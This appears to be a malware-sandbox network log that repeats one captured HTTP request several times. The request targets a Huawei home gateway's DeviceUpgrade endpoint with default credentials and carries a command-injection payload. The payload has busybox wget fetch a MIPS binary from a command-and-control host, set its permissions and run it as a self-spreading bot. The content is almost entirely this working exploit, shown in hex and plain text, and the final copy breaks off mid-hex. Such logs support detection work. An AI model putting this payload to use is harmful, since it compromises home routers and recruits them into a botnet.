Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 